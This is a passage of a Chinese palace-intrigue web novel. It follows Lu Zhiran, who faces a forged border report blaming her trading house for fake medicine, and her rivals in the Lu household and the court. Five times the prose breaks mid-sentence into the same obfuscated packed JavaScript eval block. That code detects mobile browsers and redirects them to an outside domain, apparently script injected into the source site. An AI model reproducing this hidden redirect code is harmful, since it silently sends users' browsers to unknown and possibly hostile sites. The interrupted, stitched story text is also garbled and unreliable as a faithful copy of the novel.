“怎会这么巧?偏偏赶在这个时候!” 陆知苒也同一时间收到了这个消息,她的眉头蹙起。 翠芙和丹烟都很不甘,“老爷会不会看在二舅姥爷的份儿上,放过夫人?” 陆知苒思忖一番。 会吗? 以陆贯轩的秉性,会。 但这只是暂时的。 方成才升迁在即,他不欲得罪对方,或许会暂时留方氏一条性命。 但也仅此而已。 他不会让方氏恢复自由。 这件事也会永远地被记在他心里。 只要一有机会,他就会露出自己自私刻薄又冷血无情的秉性,他不会对方氏手下留情。 想通了这一点,陆知苒便将此事抛开,不再多管。 事实果然如陆知苒所料,陆贯轩没有处置方氏,但也没有因为方成才的归京就给方氏自由。 她依旧被禁足在知春苑。 而陆家的内宅庶务,则是由几位老姨娘一起打理。 表面上看,方氏没有受到任何惩处,但知春苑的待遇却肉眼可见的变差了。 下人送来的吃食越发潦草,清汤寡水,分量不足,有时候甚至是馊臭的。 方氏有银子,知春苑有小厨房,但却没有可以烹煮的食材。 方氏的心腹魏嬷嬷摆出威风大闹一场,“你们这群捧高踩低的贱婢,夫人再怎么失势,也轮不到你们来糟践!” 但送饭菜的婆子油盐不进,“魏嬷嬷,你就别为难我这老婆子了,我也是奉命行事罢了。” 魏嬷嬷恼怒极了,但除了一通骂骂咧咧,却再无他法! 方氏阴沉着脸,周身都笼着一层低压。 按理说,自家兄长回来之后,她在陆家的待遇会有所提升。 但非但没有,反而变得更差了。 这只能说明,这一切,都是陆贯轩的授意。 这一切,都要怪秋篱那个废物! 原本她以为,秋篱会是自己手里最得力的棋子,但事实证明,这却是一步臭棋! 谁能想到,二哥会在她身上留下了种,若早知此事,方氏定然不会同意用她。 但她知道时秋篱已经进了府,一切为时已晚,她只能想法子弥补。 要遮掩她腹中孩子真正的月份,就只能先除掉**发。 构陷紫鹃和**发有染,便是方氏想出来的一箭双雕之计。 原本这是再完美不过的计划,方氏把一切都安排好了,奈何她遇到的净是蠢货,秋篱被人发现了底细却不自知,最后被对方狠狠反将了一军。 秋篱**,还把自己给供了出来,方氏得了信,立马派人去方家求助。 幸好,二哥恰好归京,他亲自登门,送上了重礼,这才让她险险躲过一劫。 过后,陆贯轩也没有到自己跟前质问,似是揭过了此事,但知春苑的待遇一夕之间就变成了这般。 这些手段,虽不能伤她性命,但却着实让方氏吃了不少苦头。 方氏眸底闪过一抹恼恨,既恨陆贯轩的无情,也恨秋篱的无用,连带着自己二哥也恨上了。 若非他让秋篱怀了孩子,留了如此大的把柄,他们怎会这么快落败? 辛辛苦苦谋划一场,反倒自己惹了一身腥! 当日,方氏没有亲自在场,但她却本能地觉得,此事定然与陆知苒脱不开干系。 那个**有些手眼通天的本事,还专门克她! 且等着吧,她迟早要让那**付出代价! 天气日渐炎热,大家纷纷换上了单薄的夏衫。 就在这时,德丰帝收到了一个好消息。 “皇上,此前瑾王殿下进献的那一批洋芋,前几日丰收了。司农寺的小吏试种了一亩地,最后竟挖出整整四千斤!” 德丰帝闻言大喜,立马站了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15336142|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当真?那些洋芋呢?在何处?” 当初萧晏辞进献时,声称此物亩产能高达三千斤,这已是十分惊人的数字,而今,司农寺种出来的这批洋芋,亩产竟比三千斤更高! “他们抬了几箩筐来,就在殿外。” 冯有才吩咐一声,立马就有宫人把几箩筐洋芋抬了进来。 那些洋芋一个个个头饱满,比成人的拳头还要大,看上去非常喜人。 “好好好!司农寺众人栽种培育有功,人人重赏!吩咐下去,今天中午,朕便要吃这洋芋宴,让后宫诸位嫔妃们也都尝一尝。” 今日,后宫诸位嫔妃的餐桌上,都出现了这么一道特殊的食材,而这特殊的食材又被做出了好几种不同的花样,清炒洋芋丝,干锅洋芋片,炸洋芋,洋芋泥……每一种做法都各有特色。 德丰帝原本只是抱着试一试的心态,真正尝到嘴里,顿时有种意外的惊喜。 此物不仅做法多样,味道极佳,而且饱腹感强,他都不曾用饭,直接吃这洋芋宴就吃饱了。 翌日上朝,他便让宫人将那几筐洋芋抬到了朝堂上,摆在众臣面前。 大家都没见过此物,俱露出了疑惑神色。 只有萧晏清脸色有些僵硬。 这是洋芋。 本该是他献给父皇的,只因自己一时保守,就被萧晏辞抢了先。 而这几筐洋芋看上去便十分新鲜,上面还沾着泥土,不用想也知道这是哪儿来的。 果然,德丰帝笑着向众人介绍了此物。 而听到德丰帝说,此物的亩产高达四千斤时,众人顿时一阵哗然。 “司农寺已然亲自试验过,朕昨日也尝了此物,味道极好!若此物能在百姓中大力推广,从今以后,咱们大齐的百姓定然都能填饱肚子。” 众人吩咐点头附和。 有人问,“此物是从何而来?微臣孤陋寡闻,此前竟从未见过,亦未曾听过。” 大家都发出了疑问。 德丰帝脸上的笑意更浓了几分,“这是从海外传过来的东西,是瑾王偶然所得,主动进献。” 第260章 西平八百里急报 众人都没想到这其中还有瑾王的功劳。 “瑾王此举当真是利国利民,合该好生嘉奖。” 立马有人跟着附和,对萧晏辞百般赞誉。 萧晏清听得牙根都咬紧了,恨不得时光能倒流回去。 若是时光倒流,他定会第一时间将洋芋进献,半刻都不会拖延。 只可惜,世上没有如果。 德丰帝听得众人夸赞萧晏辞,心中亦升起与有荣焉。 他早已想好了要如何嘉奖,正待开口,这时殿外就传来了一道急促的声音。 “皇上,西平有八百里急报!” 殿内的气氛骤然紧绷,德丰帝脸上原本的笑意也瞬间收敛。 “传!” 那赶来报信的士兵因为疲劳过度,已然一头栽倒,人事不省。 他手中急报被宫人送进大殿,在德丰帝的授意下,冯有才开始高声诵读。 “今据西平边关守将谷栖山飞骑来报,六月三日丑时,羌笛部族集结精骑三万,突袭边境。我军虽奋力据守,但城内疫病肆虐,将士战力不足,敌势凶猛,终是不敌,我军伤亡惨重,情势危急,急需驰援……” 众臣听闻此言,俱是倒吸凉气,德丰帝脸上方才的喜色尽褪,周身都笼上了一层森然的冷意。 “好个羌笛,真是胆大包天!” 众臣跟着开口,义愤填膺地讨伐羌笛。 冯有才拿着急报,看着后续的内容,面上露出几分异样。 德丰帝察觉到了,沉声下令,“继续念。” 冯有才定了定神,这才继续,“臣忝居守将,未能御敌于外,罪该万死,伏乞陛下严惩!然臣临死之前,不敢不据实以闻,恐负陛下托付之重。此次战败,非独兵事之失,实因城中疫病肆虐,士卒病弱,十不存三。” “去岁,西平大旱,蝗虫肆虐,而后疫病爆发,幸得太仓商行免费捐药,方度过难关。臣甚为感念,此次疫病,所需药材亦尽从太仓商行采购。谁料,太仓商行所供药料,多掺糠秕,药效全无,致使疫病蔓延,守城将士病倒大半,无力迎敌。” “且此次西平疫病爆发突然,病因蹊跷,军医推断,此疫与去岁蝗虫之疫难脱干系,盖因所服药材掺假所致。太仓商行借捐药之名揽功,实则所行却是溟灭良心之举,更犯下欺君大罪。臣本欲将其捉拿问罪,然瑾王亲临,横加阻拦,更坚持用太仓商行的药方治疫,致使疫病肆虐更甚,臣位卑言轻,不敢违逆。” “臣自知罪孽深重,不敢推诿。然念及边关将士枉死、百姓遭难,臣若不言,恐负陛下圣明。今羌笛虽暂退,然疫病未消,城防未固,若朝廷不彻查弊政,恐祸患再起!臣愿以戴罪之身,死守残城,待陛下圣裁。” 冯有才念完最后一个字,大殿内瞬间陷入了死一般的安静,众人脸上皆是震惊与骇然之色,唯有萧晏清,眼底飞快闪过一抹精光。 早在数月前,他们便派人前往西平布局,务必要将太仓商行捐赠假药之事坐实,把他们的举世之功变成欺君之罪。 而今,事情终于成了! 镇西大将军谷栖山亲自上书,揭穿太仓商行的罪行,连带着,把萧晏辞也告了一状,这可真是天大的喜事啊。 话说回来,萧晏辞怎么跑到西平去了? 众臣心中也有这个疑问。 德丰帝亦是,心中闪过无数个猜测。 “皇上,太仓商行若当真敢行此等欺上瞒下之举,合该依律重罚,以儆效尤!” “微臣附议。太仓商行此举实乃祸国殃民,定要追查到底,不然不足以告慰西平城那些无辜牺牲的将士和百姓!” 众人纷纷带头,言辞激愤,一个个恨不得对太仓商行得而诛之。 至于萧晏辞,他乃皇子,众人嘴下留情,不敢进言,但皇上心中自有裁夺。 陆贯轩听着这番话,双腿禁不住一软,直接跪了下去。 “皇上,此事实情如何,还有待查证,岂能凭借这封一急报就妄下定论?还请皇上谴使前往西平,核查此事!” 太仓商行是陆知苒的产业,若此桩罪名落下来,她难逃干系,原本的功臣变成罪臣,自己这个老父亲也要跟着受牵连。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15336143|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>还有瑾王,他是自己的未来女婿,若瑾王也落了罪,那简直就是雪上加霜了。 大理寺少卿傅子诚亦出列附议,请皇上派兵支援西平,并彻查此事。 其余瑾王一派的官员亦是纷纷出列附议。 萧晏清见此情形,眸底闪过一抹暗芒。 他没想到,朝中竟然有这么多人都倒戈向了萧晏辞。 自己定要抓住机会除掉他,绝不能让他活着从西平回来。 德丰帝面沉如水,一时没说话。 萧晏清一咬牙,主动出列。 “父皇,儿臣亦觉得此事应当好生彻查,万不能冤枉了任何一个有功之臣。儿臣不才,自请带兵前往西平支援,并彻查此事。若此事当真另有蹊跷,儿臣定还太仓商行,还七弟一个公道。” 傅子诚闻言,面色微变。 吴王与瑾王不合,他若当真去了西平,只怕非但不会还瑾王一个公道,反而会火上浇油,坐实此事。 但他位卑言轻,此时断然没有理由开口阻拦。 这时,一旁的安王萧晏珩开了口。 “六弟,眼下西平战事危急,又有疫情当前,你平日里养尊处优,只怕不适合当此重任。你就算有心为父皇分忧,也别瞎添乱了。” 萧晏珩以往不大上朝,但最近却是突然勤勉了起来,德丰帝还赞他成了家便越发稳重了。 萧晏清听他开口拆自己的台,当即恼怒。 “我身体康健,平日亦勤加习武,如何就去不得?若我去不得,难道五皇兄就能去?” 萧晏珩蹙眉看他,“我这破身子,好好待在京城,安分守己不给父皇添乱便是为父皇分忧,这点自知之明我还是有的。我方才的话也不过是推心置腹之言,六弟何苦故意嘲讽我?” 德丰帝原本就没打算让萧晏清去西平冒险,被萧晏珩一搅和,更觉得他是在添乱。 “你五皇兄所言极是。你以为自己平日里练练三脚猫的功夫,就能到战场上杀敌?简直胡闹!还有方才是什么态度?目无兄长,咄咄逼人,这就是你对待自家兄弟的态度?” 第261章 进献火炮 德丰帝心情正是糟糕的时候,萧晏清本想趁机讨好卖乖,但没想到反倒成了撞到枪口上的那一个。 他被训得灰头土脸,最后不得不向萧晏珩道歉,这才揭过此事。 德丰帝召了兵部的官员到御书房议事,其他人则是散朝了。 萧晏清眼神阴鸷,看向萧晏珩,萧晏珩回以一记微笑。 当着众臣面前,萧晏清也不敢说些什么,只能愤愤甩袖离开。 好在,被此事打岔,萧晏辞进献洋芋的功劳无人再提,这对他来说,勉强算是一个好消息。 萧晏珩脸上那抹微笑也收敛了,取而代之的是一抹凝重之色。 出了宫,他便派人给陆知苒递了个信。 或许她有自己的渠道能第一时间知道这个消息,但这是他的立场和态度。 上次,多亏了她举荐了艾伯特,救了邢初雪一命。 眼下邢初雪尚在恢复中,过不了多久就能痊愈了。 也是经此一事,他才决定把火炮卖给对方。 而后,他也接受了艾伯特为他定制的治疗计划。 不知是不是心理作用,他觉得自己心悸的**病似是缓解了不少。 祁先生从一开始看不惯艾伯特,眼下二人已然发展成了挚友,每天互相切磋中西医,可谓如痴如醉。 凡此种种,他记着对方的情。 陆知苒还不知道朝堂上发生了这么一桩大变故,她今日恰巧收到了一个好消息。 张德安从岭南回来了,一并带回来的还有一发火炮和以及几把装备精良的火铳。 而剩余的四发火炮和火铳,都走了外海,直接往西平送去了。 “小的亲自验看了火炮的细节,又请了经验老道的匠人掌了眼,确认了都是好东西。” 陆知苒大喜,对张德安嘉奖了一番。 张德安又道:“眼下装着火炮的船只便停在码头上,小的派人日夜看守着,接下来要如何处理?” 陆知苒沉吟,“先等等,到了合适的时候,我会作安排。” 她没想到,这个时机来得那么快。 刚见了张德安,她就收到了萧晏珩派人传的信,她的心中立马一个咯噔。 此前最担心的事情,还是发生了。 对方终于对太仓商行下手了。 而主导和推动这一切的,非赵书宁莫属。 只有把太仓商行推出来当罪魁祸首,才能撇清她自己。 这其中还另有蹊跷。 萧晏辞的书信上说,谷栖山身中剧毒,昏迷不醒,就算他苏醒了,恢复身体也需要一定的时间,这封急报真的是出自他之手?陆知苒十分怀疑。 对方的刀子都落在了她的身上,她必须要拿出自己的反击。 陆知苒并不耽搁,直接递牌子入了宫。 德丰帝与兵部众官员商议了一番,终于制定了出兵增援计划,由京营总兵官任宗平带兵增援。 因着贺连山金矿,大齐朝的国库丰盈,此次军需也十分丰沛。 羌笛小国敢屡屡进犯,此次德丰帝下了狠决心,定要将其打得落花流水。 兵部官员离开时,便见到了候在门外的陆知苒。 众人鼻眼观心,立马明白她此来的目的。 她定是收到了消息,前来请罪的。 德丰帝方才便知道陆知苒来了,却并未第一时间召见,足足过了小半个时辰,才命人传召她入内。 陆知苒叩首行礼,“臣女拜见皇上。” 德丰帝没有叫起,目光淡淡的,“你突然入宫,所为何事?” 陆知苒姿态恭敬,“臣女听闻西平传来急报,羌笛竟再次进犯我大齐边境,特来向皇上献上神器,为皇上分忧。” 德丰帝闻言,神色微顿。 “哦?你得了什么神器?” “火炮和火铳,皆为外邦之物,火炮可连放三发,射程达数百米。若此物运往西平,那小小羌笛,何以为惧?” 德丰帝原本漫不经心的神色瞬间顿住,转而变成了郑重其事。 “此话当真?” “如此大事,臣女岂敢玩笑?眼下,那火炮和火铳便放在京郊码头的船上,皇上大可派兵部的官员亲自前去查验。” 她的语气沉稳,不骄不躁,大有一种成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15344628|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹在胸的从容与自信。 德丰帝原本被那封急报搅乱的心绪慢慢平复,心中的天平也回归正轨。 事情尚未有定论,自己心中便生了成见,他真是老了,糊涂了。 德丰帝缓和了神色,“你起来说话。” “多谢皇上。” 陆知苒起身,垂眉敛目地站着,姿态依旧十分恭敬。 “你且细细说说看,是如何弄到此物的?” 陆知苒隐去了萧晏珩的身份,说起了此事经过。 她和萧晏珩已然完成了交易,这批火炮现在属于她所有,这份功劳自然也是她的,并不存在抢功之说。 而且,萧晏珩本身恐怕也不想要这个功劳,若他想的话,当初就不会把火炮卖给她。 德丰帝听罢,也不得不感叹陆知苒的财力雄厚,十分了得。 陆知苒又向德丰帝请罪,表示自己自作主张把四发火炮运往西平,而今在京中的只有一发火炮。 此举对西平而言可谓如虎添翼,德丰帝岂会责怪她? “平乐,你每次都能让朕刮目相看。” 她总是暗地里憋大招,不鸣则已,一鸣惊人。 陆知苒语气诚恳,“能为皇上分忧是臣女的荣幸。” “今日朝堂上,还发生了一件事,与你有关。” 陆知苒一副洗耳恭听的神色。 德丰帝缓缓开口,将急报所述道出,陆知苒顿时面露惶然,再次跪下。 “皇上明鉴!臣女敢以项上人头担保,臣女的商行所售卖的货品绝对货真价实,童叟无欺,断然不敢有半分弄虚作假,此事定有小人作祟。” “朕自然是信你的,但此事闹得甚大,朕总要给满朝文武一个交代。” 正所谓拿人手软,他刚刚收了陆知苒送的好处,自然不好翻脸无情。 但身为帝王,多疑乃秉性,此事既然已经禀到了他的跟前,便是陆知苒的名声再好,他也要多几分疑虑。 陆知苒以额触地,语气沉缓,“皇上,臣女斗胆,对此事生出了几分小人之心的揣测,请皇上恕罪容禀。” “说。” 第262章 告状 陆知苒开门见山,“药材的问题肉眼可见,若当初太仓商行当真以次充好,以假乱真,大家那么多双眼睛,此事如何能瞒得住?必然当时就被发现了。” “此事已然过了大半年,此时再把问题扣在药材上,也无从证实,臣女等也没了自辩的机会,实在是冤枉。臣女不禁怀疑,是否是当初的药方本身就有问题,这才引发了将士和百姓们后续一系列的身体问题?药材的问题不好糊弄,但若是药方的问题,大家都不通医理,自然发现不了。” 德丰帝闻言,不禁露出若有所思之色。 如此细想,确实如此。 当初的药方,是赵书宁提供的。 眼下,赵书宁也在西平。 而且,她是在负伤的情况下独自前往,比他派出去的治疫大军去得都早。 这一切当真是巧合吗? 是不是她知道了西平的局势,也猜到此事与自己脱不开干系,所以才着急忙慌地赶去西平善后? 若此事有人背锅,她自然就能全身而退了。 德丰帝想到以往赵书宁的所作所为,眸色不禁深了几分。 “你这番话可有证据?” 陆知苒摇头,“臣女没有证据,但只要拿到当初治疫的药方,请太医们研究一番,自然就能辨别其中是否有问题。” 德丰帝眯了眯眼。 赵书宁若当真知晓自己的药方有问题,只怕不会轻易把药方交出来。 就算上交,也大可在其中动些手脚。 陆知苒自然知道那药方,但她却不能拿出来,不然落在德丰帝的眼里,自己就成了早有蓄谋的那一个。 “臣女不通医理,自是不知药方,但当初经手治疫的大夫不少,他们定能推测出药方的具体配比。若最后证明药方没问题,那便是臣女小人之心,臣女愿接受皇上的责罚。” 对方已然出手,陆知苒自然也没有手下留情的道理。 不管皇上把自己的话听进去多少,陆知苒该告的状就得告,至少,要在皇上心中种下一颗怀疑的种子,要让皇上把调查和怀疑的重点放在赵书宁的身上。 如此,赵书宁若还想继续暗中动手脚,就没那么容易了。 德丰帝沉吟片刻,“你方才所述,朕自会派人调查。若此事当真是赵书宁暗中弄鬼,朕绝不轻饶。但在此之前,你的太仓商行也依旧在嫌疑之列,你此次虽又给朕献出了火炮,但一码归一码,朕还是得在众人面前有个交代,你可明白?” 陆知苒语气恭敬,“臣女明白,也能理解,臣女但凭皇上降罪惩处,绝无二话。” 陆知苒的态度让德丰帝心头生出几分满意,上位者,自然喜欢识时务,不给自己找事的下属。 这一点上,陆知苒做得很不错。 “这段时日,你便暂时待在陆府吧,此事有任何调查结果,朕都会第一时间知会你。” 这就是让她禁足之意。 只是禁足,没有让她的商行关门整顿,也没有其他责罚,这个惩罚对她而言十分不痛不痒,陆知苒知道,还是自己的那几发火炮起了作用。 方才那番告状,也或多或少入了德丰帝的心。 陆知苒恭敬叩首告退。 她面上一派沉静,不见半分焦色,但实际上,心头却笼着一层阴霾。 不是因为自己,而是担心萧晏辞。 西平的局势,竟是比她料想的更加严峻。 这次不仅自己被告了一状,萧晏辞也赫然在列,对方敢如此与他叫板,他是否遇到了危险? 被宫人领着往外走,陆知苒被一人唤住了。 是夕颜殿的锦瑟姑姑。 陆知苒便知道,柔妃也听说了前朝之事,她心中必然是担心的。 陆知苒随锦瑟姑姑一道去了夕颜殿,见到了柔妃。 她的面上果然满是焦急,陆知苒还没来得及行礼,就被她一把拉住。 “知苒,你此次入宫是为什么?可是皇上降罪于你了?你可有受责罚?” 陆知苒心头温暖,反握住柔妃的手。 “娘娘宽心,皇上只是让我禁足府中,其余并未做惩罚,皇上待我的态度也依旧如初,只需查清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15344629|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此事,一切自然就能迎刃而解。” 柔妃似松了口气,但忧色依旧没有彻底褪去。 她不仅担心陆知苒,也担心萧晏辞,更担心那个人。 从时间上推算,柔妃也没法判断那封折子究竟是不是谷栖山醒了之后上的。 内心深处,她倾向于这并非他上的折子。 可如果不是他,情况反倒更加糟糕。 有人胆敢以他的名义上这封折子,这意味着他的情况并不好,他已经失去了对西平的掌控。 若是他上的折子,那…… 柔妃心乱如麻,脸上神色几番变化, 陆知苒握着她的手用力了几分,“娘娘莫要担心,此番手段不过雕虫小技,殿下定有应对,不会出事的。” 陆知苒又宽慰了柔妃一番,这才出宫。 陆知苒被皇上下令禁足,此事内情迅速传开,瞬间成为众人茶余饭后的一大谈资。 有人相信太仓商行,但也不乏人云亦云,幸灾乐祸者,太仓商行的生意不可避免地受到了影响。 陆贯轩去了瑶光阁,话里话外都是对陆知苒的质问与责怪,大有一种出了事就恨不得跟她彻底撇清的架势。 他原本把所有的宝都压在陆知苒的身上,谁能料到会发生这番变故? 想到蒋家和孙家的前车之鉴,陆贯轩就狠狠打了个寒战。 方成才在这时登门,趁机在陆贯轩跟前上眼药。 陆映溪也挺着大肚子回了娘家,舅甥二人合力唱双簧,游说陆贯轩把方氏放出来,重新执掌中馈。 “父亲,并非女儿有意挑拨,而是事实的确如此,姐姐与您压根就不是一条心的,她只会拖累陆家。方家与陆家才是真正的同舟共济,舅舅现在在皇上跟前得脸,日后皇上若是问罪下来,舅舅也能替您好好求情。” 方成才也大包大揽,一副绝不会对陆贯轩置之不顾的态度。 陆贯轩墙头草的本性在此刻彻底暴露了出来,他终于松了口,摒弃前嫌,把方氏从知春苑放了出来,重新把府中中馈交到了她的手里。 第263章 又立下功劳 这段时间,方氏吃不好,睡不安,整个人越发消瘦憔悴。 陆贯轩见到她,一副心疼的模样。 “夫人受苦了。” 方氏眸中含泪,满脸忏悔。 “先前是妾身糊涂,做了错事,老爷对妾身小惩大诫也是应当。这段时日,妾身日日反省,已然意识到自己的错处,承蒙老爷愿意给妾身一次改过的机会,妾身定谨记教训,安心替老爷打理庶务,做好您真正的贤内助。” 陆贯轩握住她的手,又说了不少掏心窝子的话,这才离开。 他一走,方氏脸上的那抹感动之色瞬间褪去,取而代之的是一抹不加掩饰的嫌恶。 自私虚伪的男人,真以为他装模作样地在自己面前演一出,自己就会对他掏心掏肺,他莫不是忘了是怎么对自己的。 陆贯轩从知春苑离开,脸上也换了一副表情。 心中对方氏已然厌恶到了极致,但情势所逼,却不得不对她伏低做小,他心中的憋屈,可想而知。 这对夫妻早已貌合神离,各自有了自己的盘算。 宣平侯府此时却沉浸在喜悦当中。 明日,楚云清便要被抬进吴王府,这本就是阖府上下都希冀和期盼之事,此时又还传出太仓商行弄虚作假,捏造功劳的消息,陆知苒也被皇上下令禁足,可谓双喜临门。 楚云清听了之后,饭都多吃了几口。 姜氏喜得眉开眼笑,母女二人关起门来说私房话。 “我听说那瑾王也被参了,指不定这次瑾王就彻底倒台了,吴王就是最有希望继承大统之人,到时候,清儿你的福贵日子就来了。” 楚云清的眼睛瞬间亮了,心中对未来充满了憧憬。 母女二人一起畅想了一番美好的未来,又将陆知苒狠狠痛骂贬低了一番,这才狠出了口恶气。 而后,姜氏便对姜云清教授了一番房中之事,楚云清满脸羞怯,再想到英俊不凡的吴王,她的心不禁开始砰砰狂跳。 此前,赵书宁曾给过她一种助孕的秘药,她只要提前服下,明日圆房,定能顺利怀上孩子。 然而,想象是美好的,现实却是残酷的。 楚云清满怀期待地被抬入王府,但等来的却是一夜独守空房。 萧晏清留宿在了李侧妃那里。 李侧妃便是萧晏清的表妹李云裳,原本她是李贵妃属意的正妃人选,谁料卢诗音横插一脚,她只能屈居侧妃。 她这个侧妃,和楚云清这个侧妃的分量自是不同的。 楚云清即便明白这一点,依旧委屈又气愤。 她以为萧晏清第二日就会到自己房中来,但接连好几日,他都没有留宿后院,楚云清的满腔期盼都化作了更深的幽怨。 这还不算,她还遭到了卢诗音的刁难。 卢诗音不敢对李云裳如何,对楚云清她就没有什么顾忌,各种明里暗里的手段都使了出来,楚云清吃了许多苦头。 依照她往日的脾气,定然早就暴怒了,但想到今时不同往日,这里也不是宣平侯府,她以后都要在卢诗音的手底下讨生活,心中便是有再大的委屈,也只能往肚子里咽。 陆府,陆知苒闭门不出,方氏重掌中馈之后,她的瑶光阁待遇也没有受到影响。 并非方氏不想,而是她的手伸不进去。 陆知苒禁足,她的下人却不受影响。 尤其是瑶光阁还有一个高嬷嬷,她是宫里的人,陆府的人再怎样也不敢为难她。 瑶光阁中还有自己的小厨房,方氏想在吃食上刁难她也没法子。 陆知苒的禁足,相当于只是关起门来过自己的日子。 瑶光阁还隔三差五收到礼物,是萧宝珠、叶寒衣和邢初雪派人送来的,她们没法来探望,就只能送上厚礼,表达她们的支持之意。 几人的礼物都送得兴师动众,陆府上下的人见了,心里也不由多几分掂量。 静安居那头,方氏也半点不沾手。 陆贯轩到底防备她,特意安排了几个得力心腹去照顾紫鹃的起居。 方氏得知,冷笑连连。 “一个**怀的贱种,当成眼珠子似的疼,我倒是要看看,那**究竟有没有那福分,能顺顺当当把孩子生下来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15351525|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转眼半月,西平再次传回消息。 这一回,是喜报。 “圣朝德化,远及边陲;陛下仁心,泽及万姓。边疆疫疠爆发,军民惶怖,染者日增。幸蒙天恩垂悯,敕太医院遣良医驰援,更赖医女赵书宁,不避艰险,悉心诊治,与诸太医同心协力,辨症施药,活人无算。今疫气消散,病者渐愈,边关军民,皆颂皇仁。” “羌笛部族,恃其悍勇,屡犯边境,幸赖陛下天威庇佑,谴兵来援,三军齐力,与之激战,斩首若干,俘获甚众,贼众溃散,狼狈北遁。虽暂挫其锋,臣亦不敢懈怠,广布斥候,日夜戒备,绝不容其再犯寸土。” 宫人当庭诵读捷报,朝堂上下无不振奋,德丰帝的面上也终于露出笑意。 陆知苒的火炮尚未送达,羌笛就已被击退,看来那些火炮注定没有用武之地了。 众臣纷纷开口拍马屁,称皇上天威庇佑,这才让大齐顺利度过此次难关云云,德丰帝的脸上笑意愈浓。 有人出列,为赵书宁请功。 “皇上,赵氏此次再次立下大功,实乃巾帼奇才也。赵氏此前的确犯下过错,但一码归一码,此次赵氏立功亦当褒奖,以励天下医者,更显陛下崇德尚贤之圣意。” 此言一出,立马有大臣跟着附和。 “微臣附议。赵氏身为女子,却屡立奇功,可见其确有真本事。皇上若对其特赐嘉奖,使天下知女医亦能济世报国,如此,天下医者亦必竞相效仿,共襄圣治。” 楚定峰听到这番话,顿时禁不住心潮澎湃,激动不已。 赵书宁果然有本事,那么快就平复了疫情,立下了功劳。 这个儿媳妇,胆子大,闯祸时能把人吓死,但立功劳的本事也不小,楚定峰也不知这对自家到底是福是祸。 但至少,此刻,他是高兴的。 若是安儿再立下功劳,那就是锦上添花,双喜临门了! 德丰帝听罢众人的话,笑着点头,“诸位所言有理。赵氏此次立下大功,的确该赏。待她与大军一起归京,朕再亲自当面封赏。” 第264章 西平大捷 虽然德丰帝没有立刻封赏,但这短短的几句话,其含金量已经非比寻常。 皇上这是亲口认可了赵书宁的功劳,只要等她从西平归来,就能受赏。 楚定峰面上不禁露出笑容。 殊不知,德丰帝心中却另有思量。 这封捷报,独独将她点了出来,为其邀功,她未免太有本事了些。 再想到先前陆知苒所说的那番话,德丰帝不禁深想,赵书宁这次是用了什么法子平复此疫?是否过于刚猛,又会在不久的将来暴露弊端? 他派出去的心腹尚未传回书信,对于眼下西平的局势,他并不全然相信。 究竟有没有人在西平兴风作浪,很快就有答案了。 姜氏从楚定峰口中得知了赵书宁立功的消息,先是一愣,旋即便有些语气复杂地道:“还算她有几分本事。咱们的安儿定然也不比她差,定也能立下大功。” 反观陆知苒,她非但没有功劳,反而往日的功劳也要被剥夺。 一想到这一点,姜氏眼底就禁不住得意。 今夜,萧晏清终于去了楚云清的院子,圆房时,他的动作很是温柔怜惜,事后,楚云清身子虽有些不适,但却是甜蜜居多。 她娇怯地依偎在萧晏清的怀里,语气娇嗔,“殿下这么久都不来妾身这儿,妾身还以为殿下忘了妾身呢。” 